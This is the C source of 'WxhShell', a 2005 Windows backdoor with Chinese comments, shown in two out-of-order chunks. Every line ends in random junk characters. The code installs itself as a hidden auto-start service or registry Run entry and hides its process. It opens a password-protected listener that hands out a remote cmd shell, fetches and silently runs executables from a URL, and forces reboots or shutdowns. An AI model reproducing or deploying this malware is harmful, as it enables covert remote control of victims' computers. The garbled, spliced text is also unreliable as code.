    if(Boot(SHUTDOWN)) Td hTQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |^( M{  
    else { z9DcnAs  
    closesocket(wsh); ashar&'  
    ExitThread(0); (3;@^S4&w  
    } A@$kLex  
    break; Qxa{UQh}9  
    } HB iBv-=,  
  // 获取shell g"K>5Cb  
  case 's': { u9Y3?j,oC  
    CmdShell(wsh); YGk9b+`  
    closesocket(wsh); 3t" 4TjAy  
    ExitThread(0); vFQ,5n;fF  
    break; fS=hpL6]@  
  } uMmXs% 9T  
  // 退出 ` A)"%~  
  case 'x': { obo&1Uv,/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )D/ 6%]O  
    CloseIt(wsh); lV6dm=k  
    break; 0* F}o)n/m  
    } +Qj(B@ i  
  // 离开 ;Ii1B{W  
  case 'q': { QDTNx!WL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $yu?.b 9H#  
    closesocket(wsh); }]6f+  
    WSACleanup(); C6  "  
    exit(1); p|[B =.c{  
    break; fex,z%}p  
        } p2 %  
  } 2+Rv{%  
  } cWLqU  
|E3X  
  // 提示信息 ,[!LCXp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :iUF7P1I  
} rwf^,r"r  
  } V/%~F6e  
eu#'SXSC F  
  return; =L]Q2V}  
} w$fJ4+  
cg{AMeW  
// shell模块句柄 j !H^-d}q  
int CmdShell(SOCKET sock) tTanW2C  
{ D(]E/k@ ;~  
STARTUPINFO si; Jxl6a:  
ZeroMemory(&si,sizeof(si)); ~E5z"o6$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @n+=vC.xO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]$b2a&r9  
PROCESS_INFORMATION ProcessInfo; (k?7:h  
char cmdline[]="cmd"; p/ GVTf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v]VWDT `  
  return 0; +.yT/y"  
} 7h9U{4r: M  
BS 1Ap  
// 自身启动模式 ~bK9R 0|<  
int StartFromService(void) d+fSo SjX8  
{ 9KuD(EJS  
typedef struct v& $k9)]  
{ cr;`Tl~}s  
  DWORD ExitStatus; /)3Lnn{W  
  DWORD PebBaseAddress; gl%`qf6:O  
  DWORD AffinityMask; Ond'R'3\E  
  DWORD BasePriority; (eWPis[  
  ULONG UniqueProcessId; Af(WV>'  
  ULONG InheritedFromUniqueProcessId; SU.ythU2,c  
}   PROCESS_BASIC_INFORMATION; [<c&|tfl  
~+6Vdx m  
PROCNTQSIP NtQueryInformationProcess; 9 ; i\g=  
"sUyHt-&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3G}AH E4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jeUUa-zR3  
r' Z3  
  HANDLE             hProcess; c3TKl/  
  PROCESS_BASIC_INFORMATION pbi; /e@H^Cgo  
x.mrCJn)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RP4Ku9hk  
  if(NULL == hInst ) return 0; 4,p;Km&  
IH *s8tPc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K4ZolWbU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &HZmQ>!R D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :mcYZPX#  
;3eKqr0  
  if (!NtQueryInformationProcess) return 0; $A_]:qI2  
PJ4(}a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k?GD/$1t  
  if(!hProcess) return 0; 7V7zGx+Z7  
rVnd0K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (qM j-l  
Ol_q{^  
  CloseHandle(hProcess); `{v?6:G:Q  
NQHz<3S[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I0'WOV70  
if(hProcess==NULL) return 0; Wi. 5Y{  
_l`e#XbG  
HMODULE hMod; tz NlJ~E  
char procName[255]; cZ8.TsI~  
unsigned long cbNeeded; ~Ou1WnmO  
),:c+~@@kT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $tqJ/:I  
rh*sbZ68>E  
  CloseHandle(hProcess); *jq7X  
lCd@jB{  
if(strstr(procName,"services")) return 1; // 以服务启动 ] y{WD=T  
m7c*)"^  
  return 0; // 注册表启动 hB;VCg8  
} O Wp%v_y]  
YIhm$A"z0"  
// 主模块 `mfq 2bVc  
int StartWxhshell(LPSTR lpCmdLine) Fh|#u:n  
{ DE$q+j0P  
  SOCKET wsl; ]  ]U<UJ  
BOOL val=TRUE; qFX~[h8i+  
  int port=0; Uh eC  
  struct sockaddr_in door; {=2DqkTD  
EI>l-N2  
  if(wscfg.ws_autoins) Install(); #FOqP!p.E  
`>(W"^  
port=atoi(lpCmdLine); 'wasZ b<^  
8LkP)]4^sO  
if(port<=0) port=wscfg.ws_port; ~T7B$$  
WUc#)EEM)  
  WSADATA data; .0 )Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N;oQ^B'  
BAj-akc f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (:V>Hjt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^[E' 1$D  
  door.sin_family = AF_INET; Wm~` ~P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8F(h*e_?  
  door.sin_port = htons(port); R:-JkV>e:  
+yob)%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N{SQ( %V  
closesocket(wsl); /PBaIoJE  
return 1; `?g`bN`Vn  
} _ZB\L^j)  
#eZ6)i<  
  if(listen(wsl,2) == INVALID_SOCKET) { Qhi '') Q  
closesocket(wsl); o{b=9-V  
return 1; sZWaV4  
} w.\w1:d  
  Wxhshell(wsl); W1Lr_z6  
  WSACleanup(); thi1kJ`L  
`vG,}Pt]  
return 0; 8b.u'r174  
V"o7jsFH6n  
} 7\z ZpPDV  
Jb)#fH$L  
// 以NT服务方式启动 V3;.{0k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =h6 sPJ  
{ lE8&..~l$+  
DWORD   status = 0; 6Tw#^;q-  
  DWORD   specificError = 0xfffffff; ,21 np  
.MW@;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /v|"0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z{"2S="  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1be %G [*  
  serviceStatus.dwWin32ExitCode     = 0; HjqB^|z  
  serviceStatus.dwServiceSpecificExitCode = 0; &c(WE RW?-  
  serviceStatus.dwCheckPoint       = 0; 4(neKr5\#  
  serviceStatus.dwWaitHint       = 0; -4w=s|#.\  
iI@jZVk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 87)zCq  
  if (hServiceStatusHandle==0) return; @l1  
iqQUtE]E_  
status = GetLastError(); l\AMl \  
  if (status!=NO_ERROR) *%w6 9#D  
{ (`>voi<^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z@8vL  
    serviceStatus.dwCheckPoint       = 0; :WI.LKlo~  
    serviceStatus.dwWaitHint       = 0; Q-Ux<#  
    serviceStatus.dwWin32ExitCode     = status; &C im!I  
    serviceStatus.dwServiceSpecificExitCode = specificError; n%R;-?*v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g*)K/Z0pJ$  
    return; c^rOImZ  
  } a07@C  
tt?58dm|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P1b'%  
  serviceStatus.dwCheckPoint       = 0; &mj6rIz  
  serviceStatus.dwWaitHint       = 0; l kyzNy9R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `nKH"TaX  
} ""Zp:8o  
_rV5E  
// 处理NT服务事件,比如:启动、停止 =cN&A_L(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >&g}7d%  
{ *#%9Rp2|  
switch(fdwControl) ONNpiK-  
{ ANIz, LS  
case SERVICE_CONTROL_STOP: q#Zs\PD  
  serviceStatus.dwWin32ExitCode = 0; W3vi@kb]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /( .6bv  
  serviceStatus.dwCheckPoint   = 0; MS(JR  
  serviceStatus.dwWaitHint     = 0; g~7Ri-"  
  { O%1v) AT&\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E_F5(x SA  
  } <PPNhf8  
  return; wxm:7$4C  
case SERVICE_CONTROL_PAUSE: 6Ao%>;e*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %8*64T")  
  break; ZT02"3F  
case SERVICE_CONTROL_CONTINUE: |9"p|6G?B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T5Q{{@Q  
  break; p~ C.IG  
case SERVICE_CONTROL_INTERROGATE: 6:U$w7P0 e  
  break; 6.5T/D*TT  
}; ky 8ep  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oLWJm  
} j-CnT)W<  
`28};B>  
// 标准应用程序主函数 ]0;864X0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M3p   
{ nd;fy$<J\  
mcz+ P |  
// 获取操作系统版本 i>EgG5iJ  
OsIsNt=GetOsVer();  hjO*~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2,lqsd:xM  
r'CM  
  // 从命令行安装 Cv$ SJc  
  if(strpbrk(lpCmdLine,"iI")) Install(); !R*-R.%  
<<D$+@wxm  
  // 下载执行文件 Ggh.dZI4  
if(wscfg.ws_downexe) { J7C4V'_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QKN<+,h!z>  
  WinExec(wscfg.ws_filenam,SW_HIDE); as=m`DqOh  
} n~g)I&  
`cx]e  
if(!OsIsNt) { .nYUL>  
// 如果时win9x,隐藏进程并且设置为注册表启动 %{3 aW>yx  
HideProc(); v+jsC`m  
StartWxhshell(lpCmdLine); :Rs^0F8)c  
} Ca%g_B0t  
else AamVms  
  if(StartFromService()) ;"O&X<BX-  
  // 以服务方式启动 ZEYgK)^  
  StartServiceCtrlDispatcher(DispatchTable); t_ksvWUo  
else Ku&!?m@C  
  // 普通方式启动 [4fU+D2\d  
  StartWxhshell(lpCmdLine); \4"S7.% |  
[^8n0{JiN  
return 0; &a/__c/l  
} e4~>G?rM_  
Y(\T- bI  
sC[yI Up  
fN"( mW>!  
=========================================== 0y&I/2  
qO`)F8  
DzQ1%!  
Qu,8t 8  
0&ByEN9 9  
AxxJk"v'y  
" 1 T130L  
T[= S$n -'  
#include <stdio.h> ExHKw~y9  
#include <string.h> ^m_yf|D$  
#include <windows.h> %4 \OPw&  
#include <winsock2.h> ' qdPw%d  
#include <winsvc.h> =)O,`.M.Y  
#include <urlmon.h> do uc('@  
jGrN\D?h  
#pragma comment (lib, "Ws2_32.lib") X0 -IRJ[  
#pragma comment (lib, "urlmon.lib") syip;;  
l!#m&'16"  
#define MAX_USER   100 // 最大客户端连接数 ~2EHOO{  
#define BUF_SOCK   200 // sock buffer CF|]e:  
#define KEY_BUFF   255 // 输入 buffer 6<0n *&  
Rl|4S[  
#define REBOOT     0   // 重启 gX{loG  
#define SHUTDOWN   1   // 关机 fw oQ' &  
azjEq$<M  
#define DEF_PORT   5000 // 监听端口 y8VpFa  
?Qb<-~~ j1  
#define REG_LEN     16   // 注册表键长度 T5Dw0Y6u,  
#define SVC_LEN     80   // NT服务名长度 ??hJEE  
x.1-)\  
// 从dll定义API VF&Z%O3n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Sx    
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yfU<UQ!1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Pmi#TW3X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T]Nu)  
 Av0y?oGH  
// wxhshell配置信息 vpPl$ga5bY  
struct WSCFG { E,n}HiAz7V  
  int ws_port;         // 监听端口 `:'w@(q  
  char ws_passstr[REG_LEN]; // 口令 fjnTe  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8@NH%zWBp  
  char ws_regname[REG_LEN]; // 注册表键名 g+-;J+X8  
  char ws_svcname[REG_LEN]; // 服务名 oJKa"H-jL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s] /tYJYl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gn5)SP8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qH"Gm  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vd`}/~o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /ug8]Lo0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zo;^m|  
/yLZ/<WN  
}; M5T9JWbN  
mVtXcP4b  
// default Wxhshell configuration ?=GXqbS"  
struct WSCFG wscfg={DEF_PORT, y]%w)4PS  
    "xuhuanlingzhe",  s95vK7I  
    1, 5-)#f?  
    "Wxhshell", >hY" 3  
    "Wxhshell", 74<!&t  
            "WxhShell Service", 1>Q{Gs^  
    "Wrsky Windows CmdShell Service", 4`#F^2r!  
    "Please Input Your Password: ", Z%Z9oJ:  
  1, ( *G\g=D  
  "http://www.wrsky.com/wxhshell.exe", IPuA#C  
  "Wxhshell.exe" Z -%(~  
    }; s08u @  
J==SZ v  
// 消息定义模块 b'zR 9V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; avmcw~ TF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; = sAn,ri  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7j5f ;O^+  
char *msg_ws_ext="\n\rExit."; 3cj3u4y  
char *msg_ws_end="\n\rQuit."; K!D o8|  
char *msg_ws_boot="\n\rReboot..."; <"o"z2  
char *msg_ws_poff="\n\rShutdown..."; ,wwZI`>-  
char *msg_ws_down="\n\rSave to "; \b}~2oX  
wPbkUVO  
char *msg_ws_err="\n\rErr!"; @{h?+ d  
char *msg_ws_ok="\n\rOK!"; =O|c-k,f@  
,_!6U  
char ExeFile[MAX_PATH]; 3M5#4n\v$  
int nUser = 0; ]E3U J!!  
HANDLE handles[MAX_USER]; 9iN.3/T8  
int OsIsNt; iE0ab,OF  
U=bEA1*@0  
SERVICE_STATUS       serviceStatus; L.6WiVP)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :5GZ\Z8F  
_<ut)G^9  
// 函数声明 DN4#H`  
int Install(void); ? _\$  
int Uninstall(void); bIt=v)%$  
int DownloadFile(char *sURL, SOCKET wsh); Dj\e@?Y  
int Boot(int flag); H* !EP  
void HideProc(void); $]aBe !  
int GetOsVer(void); vUC!fIG  
int Wxhshell(SOCKET wsl); y( r1I[W'  
void TalkWithClient(void *cs); Q5S,{ ZeT  
int CmdShell(SOCKET sock); _eLWQ|6Fx  
int StartFromService(void); 4t4olkK3Oa  
int StartWxhshell(LPSTR lpCmdLine); "S~_[/q  
o/ [  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z?i /r5F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .AV)'j#6P  
/EwGW  
// 数据结构和表定义 g|PC$p-z+  
SERVICE_TABLE_ENTRY DispatchTable[] = R)!`JKeO/  
{ 'NZGQeb K  
{wscfg.ws_svcname, NTServiceMain}, h%d^Gq~  
{NULL, NULL} m9M FwfZ  
}; G@S&1=nj3  
b7C e%Br  
// 自我安装 g. %  
int Install(void) OH<?DcfeL  
{ x}fn 'iUnm  
  char svExeFile[MAX_PATH]; kfC0zd+  
  HKEY key; Bz8 &R|~>"  
  strcpy(svExeFile,ExeFile); 3l!NG=R  
g1DmV,W-Q  
// 如果是win9x系统,修改注册表设为自启动 G,&%VQ3P>  
if(!OsIsNt) { EruP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^ L:cjY/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v4?iOD  
  RegCloseKey(key); D)='8jV7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \zXlN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pw>m.=9|y  
  RegCloseKey(key); #i QX 6WF  
  return 0; @-.? B  
    } '(@YK4_M  
  } h?@G$%2  
} tP ~zKU  
else { a7H0!9^h  
eN0P9.eqM  
// 如果是NT以上系统,安装为系统服务 +2cs#i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @b!"joEy  
if (schSCManager!=0) L^9HH)Jc  
{ +R$?2  
  SC_HANDLE schService = CreateService w=r&?{  
  ( g=]&A  
  schSCManager, n1(?|aJ#1  
  wscfg.ws_svcname, r$)$n&j  
  wscfg.ws_svcdisp, Uv?'m&_  
  SERVICE_ALL_ACCESS, 8 ?TKN~ja  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !MZw#=D`  
  SERVICE_AUTO_START, P1 +"v*  
  SERVICE_ERROR_NORMAL, 5$l9@0D.\  
  svExeFile, RcY[rnI6  
  NULL, 4dhqLVgL{  
  NULL, ' |K.k6  
  NULL, #Olg(:\  
  NULL, 34C``i  
  NULL jy$@a%FD  
  ); f~& a-  
  if (schService!=0) fhpX/WE6  
  { sn\;bq  
  CloseServiceHandle(schService); u,i]a#K  
  CloseServiceHandle(schSCManager); wuK=6RL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I{.HO<$7D}  
  strcat(svExeFile,wscfg.ws_svcname); 3VCqp13  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H;vZm[\0N-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9$WJ"]  
  RegCloseKey(key); * UcjQ  
  return 0; P9#)~Zm}]  
    } ?_4^le[;  
  } :=g.o;(/N  
  CloseServiceHandle(schSCManager); vgPUIxB@  
} ki\uTD`mf  
} G\H q/4  
;"7/@&M\m  
return 1; k0K A~  
} VK .^v<Yo  
4KIWb~0Y  
// 自我卸载 _,; %mK  
int Uninstall(void) hYt7kq!"  
{ 9 pKm*n&  
  HKEY key; ;x[pM_  
)q+4k m6  
if(!OsIsNt) { L=A\ J^%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tW6#e(^l6  
  RegDeleteValue(key,wscfg.ws_regname); ~ l )t|'6  
  RegCloseKey(key); VyZV (k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XoL[ r67Z  
  RegDeleteValue(key,wscfg.ws_regname); p]f&mBO*  
  RegCloseKey(key); 9`X&,S~e  
  return 0; N=fz/CD)I  
  } Bhuw(KeB  
} OhWC}s  
} jPwef##~7  
else { -{x(`9H;  
wa?+qiWnrl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mCk5B*Jy  
if (schSCManager!=0) i.@*t IK  
{ o<\6Rm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fGO*% )  
  if (schService!=0) zeOb Aw1O  
  { (&Q)EBdm  
  if(DeleteService(schService)!=0) { *FPg#a+  
  CloseServiceHandle(schService); h;Mu[`  
  CloseServiceHandle(schSCManager); )+GX<2_  
  return 0; 0/A-#'>  
  } HYIRcY  
  CloseServiceHandle(schService); x70N8TQ_gK  
  } wixD\t59X  
  CloseServiceHandle(schSCManager); 1M+Zkak7p  
} Q;gQfr"c7  
} 9".Uc8^p/F  
pI^=B-7  
return 1; @a;sV!S{  
} 9/46%=&]  
q!*MH/R  
// 从指定url下载文件 ABiC9[Q0  
int DownloadFile(char *sURL, SOCKET wsh) vl~%o@*_  
{  Ec.)!Hu  
  HRESULT hr; qRUCnCZs  
char seps[]= "/"; eiB(VOJ  
char *token; Ar~{= X  
char *file; 32KR--mn%  
char myURL[MAX_PATH]; WB;J1TpM7  
char myFILE[MAX_PATH]; #_p  
r%[1$mTOR  
strcpy(myURL,sURL); Q!) z)-hI  
  token=strtok(myURL,seps); fv|%Ocm  
  while(token!=NULL) N l|^o{#  
  { MgP{W=h2  
    file=token; p2a?9R  
  token=strtok(NULL,seps); >C^/,/%v  
  } T g\hx>  
yy))Z0E5  
GetCurrentDirectory(MAX_PATH,myFILE); /C7svH  
strcat(myFILE, "\\"); E 8^sy*f  
strcat(myFILE, file); [J:zE&aj  
  send(wsh,myFILE,strlen(myFILE),0); yTj p-  
send(wsh,"...",3,0); ]-rczl|o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Sgx+V"bkT  
  if(hr==S_OK) 'Aet{A=9  
return 0; Ei~]iZ}  
else #mTMt;x  
return 1; B{4"$Mi  
<[FS%2,0mb  
} $l43>e{E  
*vXDuhQ  
// 系统电源模块 _X?y ,#  
int Boot(int flag) 9<~,n1b>x  
{ CH#kvR2  
  HANDLE hToken; ]nHe$x!2]  
  TOKEN_PRIVILEGES tkp; 5 2fO)!  
{V=vn L--  
  if(OsIsNt) { h+ TB]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q"l>`KCG`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FBbm4NB  
    tkp.PrivilegeCount = 1; J;"nm3[.q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Tu'E{Hw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7j95"mI  
if(flag==REBOOT) { sFD!7 ;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FcY$k%;'Q  
  return 0; h bdEw=r?  
} v(k*A:  
else { =Y:5,.U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =X<)5IS3  
  return 0; Hq79/ wKj  
} LP8o7%sv!  
  } %!D_q ~"H  
  else { UzN8G$92qF  
if(flag==REBOOT) { ?Ip$;s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z!k5"\{0pE  
  return 0; XZ; *>(  
} ?<g|.HY/  
else { CARq^xI-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fg< ( bXC  
  return 0; a?l_-Fi  
} \(wn@/yP'  
} #fJwC7  4  
J~fuW?a]r  
return 1; %oMWcgsdJi  
} !;ZBL;qY9  
6@i|Kw(:  
// win9x进程隐藏模块 yr (g~MQ  
void HideProc(void) rn[$x(G  
{ 55(J&q  
,d3Q+9/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aKa  R  
  if ( hKernel != NULL ) Cd$dn HVh  
  { ,K`E&hS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); eR(\s_`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4;",@}  
    FreeLibrary(hKernel); ttTI#Fr2  
  } |2[S/8g!  
HIQ]"Hl  
return; 5XhK#X%:A  
} b*@&c9I;q  
t@l(xnsV  
// 获取操作系统版本 PjiNu.>2(  
int GetOsVer(void) ^n6)YX  
{ pE~9o 9  
  OSVERSIONINFO winfo; Ks9FnDm8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X!7 c zt  
  GetVersionEx(&winfo); A!Knp=Gw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m*Q[lr=  
  return 1; ce 7Yr*ZB  
  else z (c@(UD-_  
  return 0; tCd{G c  
} myEGibhK  
NKupOJJq  
// 客户端句柄模块 e4[-rkn{hl  
int Wxhshell(SOCKET wsl) 49iR8w?k  
{ ocb%&m ;i  
  SOCKET wsh; uEc0/ a :.  
  struct sockaddr_in client; -[i40 1  
  DWORD myID; byEvc[/>Ys  
Aqx3!  
  while(nUser<MAX_USER) /&S~+~]n  
{ V:nMo2'hb  
  int nSize=sizeof(client); V[BY/<z)A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -lJx%9>  
  if(wsh==INVALID_SOCKET) return 1; V)_H E  
^.ZSpc}<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7F>gj  
if(handles[nUser]==0) jh<TdvF2$  
  closesocket(wsh); ,6S_&<{  
else 6\NX 5Gh  
  nUser++; Y&K<{ KA\4  
  } *u:;:W&5y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~0' _K1(H  
BXQ\A~P\  
  return 0; Nb|3?c_  
} Zj%B7s1A  
uzzWZ9Tv  
// 关闭 socket = ]dz1~/  
void CloseIt(SOCKET wsh) c,3'wnui  
{ Tx|SAa=V  
closesocket(wsh); {<''OwQF~+  
nUser--; 'xLM>6[wz  
ExitThread(0); %J/fg<W1  
} 4Zv.[V]iOO  
j`[yoAH  
// 客户端请求句柄 A{DIp+  
void TalkWithClient(void *cs) 7 K;'7  
{ glOqft&>`  
'$2oSd  
  SOCKET wsh=(SOCKET)cs; w~cq% %  
  char pwd[SVC_LEN]; Mhu53DT  
  char cmd[KEY_BUFF]; 2|T|K?R^  
char chr[1]; tu?Z@W/  
int i,j; (R;) 9I\  
ShEaL&'J  
  while (nUser < MAX_USER) { ,T,B0  
[]6ShcqJ[v  
if(wscfg.ws_passstr) { SG(%d^x`R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p[af[!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -@gJqoo>  
  //ZeroMemory(pwd,KEY_BUFF); %~~z96(  
      i=0; h;4y=UU  
  while(i<SVC_LEN) { O&rD4#  
,Do$`yO+  
  // 设置超时 ,N))=/  
  fd_set FdRead; |2t7G9[n  
  struct timeval TimeOut; 6,V.j>z  
  FD_ZERO(&FdRead); :$GL.n-?  
  FD_SET(wsh,&FdRead); p ?Ij-uo"o  
  TimeOut.tv_sec=8; +7lRP)1R  
  TimeOut.tv_usec=0; )DklOEO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N>cp>&jV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k vue@  
 9:K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e@2E0u4  
  pwd=chr[0]; -Z/6;2Q  
  if(chr[0]==0xd || chr[0]==0xa) { OxmlzQ"vM  
  pwd=0; O>b&-U"R  
  break; ?}1JL6mF{  
  } A^= Hu,"e  
  i++; W=;(t  
    } Lv,ji_  
NejsI un%  
  // 如果是非法用户,关闭 socket n8;G,[GM80  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6>LQGO  
} ,,wyydG  
Qn'r+X5t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5w,YBUp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mNBpb}  
&ESR1$)'P  
while(1) { /RXk[m-  
 ycAi(K  
  ZeroMemory(cmd,KEY_BUFF); KOAz-h@6   
'wT./&Z  
      // 自动支持客户端 telnet标准   "ojDf3@{  
  j=0; 9rf|r 3  
  while(j<KEY_BUFF) { Vbqm]2o&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gqHH Hh  
  cmd[j]=chr[0]; um_M}t{  
  if(chr[0]==0xa || chr[0]==0xd) { :+gCO!9Y  
  cmd[j]=0; 1TD&&EC  
  break; WO \lny!  
  } $U"P+  
  j++; v&CO#vK5.  
    } fAY2V%Rft  
8^f[-^%  
  // 下载文件 ru6HnLhL  
  if(strstr(cmd,"http://")) { aP6%OI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); No92Y^~/  
  if(DownloadFile(cmd,wsh)) HS5Ug'\446  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lct+cKKU  
  else hF=V ?\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h.s<0.  
  }  JY050FL  
  else { m?R+Z6c[  
~]_jKe4W  
